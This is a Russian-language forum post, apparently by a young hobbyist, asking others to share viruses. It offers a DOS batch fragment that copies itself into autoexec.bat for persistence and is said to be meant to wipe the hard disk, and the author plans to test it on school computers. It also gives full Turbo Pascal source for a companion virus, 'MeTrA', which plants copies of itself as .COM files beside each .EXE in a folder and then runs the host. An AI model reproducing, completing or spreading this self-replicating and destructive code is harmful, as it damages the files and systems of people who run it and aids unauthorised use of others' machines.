ну что давайте делится кто чо написал или нашол какой нибуть хороший вирус
[off]добавлено спустя 7 минут:[/off]
ну я предложу первый точно не знаю работает он или нет надо ещё проверить
но мне кажется что лучше на своём компе этого не делать !!!
поэтому придётся подождать до школы а там я его и проверю на уроке информатике
cho off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
но сразу предупреждаю я тут не дописал работать он не будет
а то я знаю тут есть некоторые дай им что нибуть прикольнинькое а он там всё сделает чёб проверить этот вирус ''лАМЕР"
по идеи этот вирус должен удалить все фаилы с винта !
останетсы только один фаил это сам вирус но есть одна проблема он не передаётся на другие компы но у меня есть идея если что как нибуть напишу его полностью !!!!!!!!!!!!!!!!!
но врядли пускать буду а то вы меня наверно бить будете
ну а что вы скажете нащёт этого может всё напрасно но то что тут говорят что я ламер я в этом очень сильно сомневаюсь хотя вы можете меня считать кем угодно я не прошу можете и ламером
{$M 2048,0,4096}
{$i-}
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; { размер вируса }
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
{ считать свое тело в буфер }
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln('Файл ',paramstr(0),' не доступен!');
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
{ искать жертву }
FindFirst('*.EXE',Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+'.com';
{ проверить существует ли файл }
Assign(ft,namecom);
reset(ft);
if ioresult=0 then { если уже существует }
begin
close(ft);
goto infOk;
end;
{ создать COM-файл с вирусом }
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; {если ошибка, то пропустить}
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
{ запустим своего носителя }
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+'.EXE',paramstr(1));
swapvectors;
{ если вызвали с таким параметром, то надо представитьcя }
if paramstr(1)='/??' then
begin
writeln('Virus MeTrA.');
writeln('^^^^^^^^^^^^');
end;
halt(dosexitcode); { выйти и сохранить код ошибки }
End.
ну хоть может это верно подскажите хоть по правельному пути иду я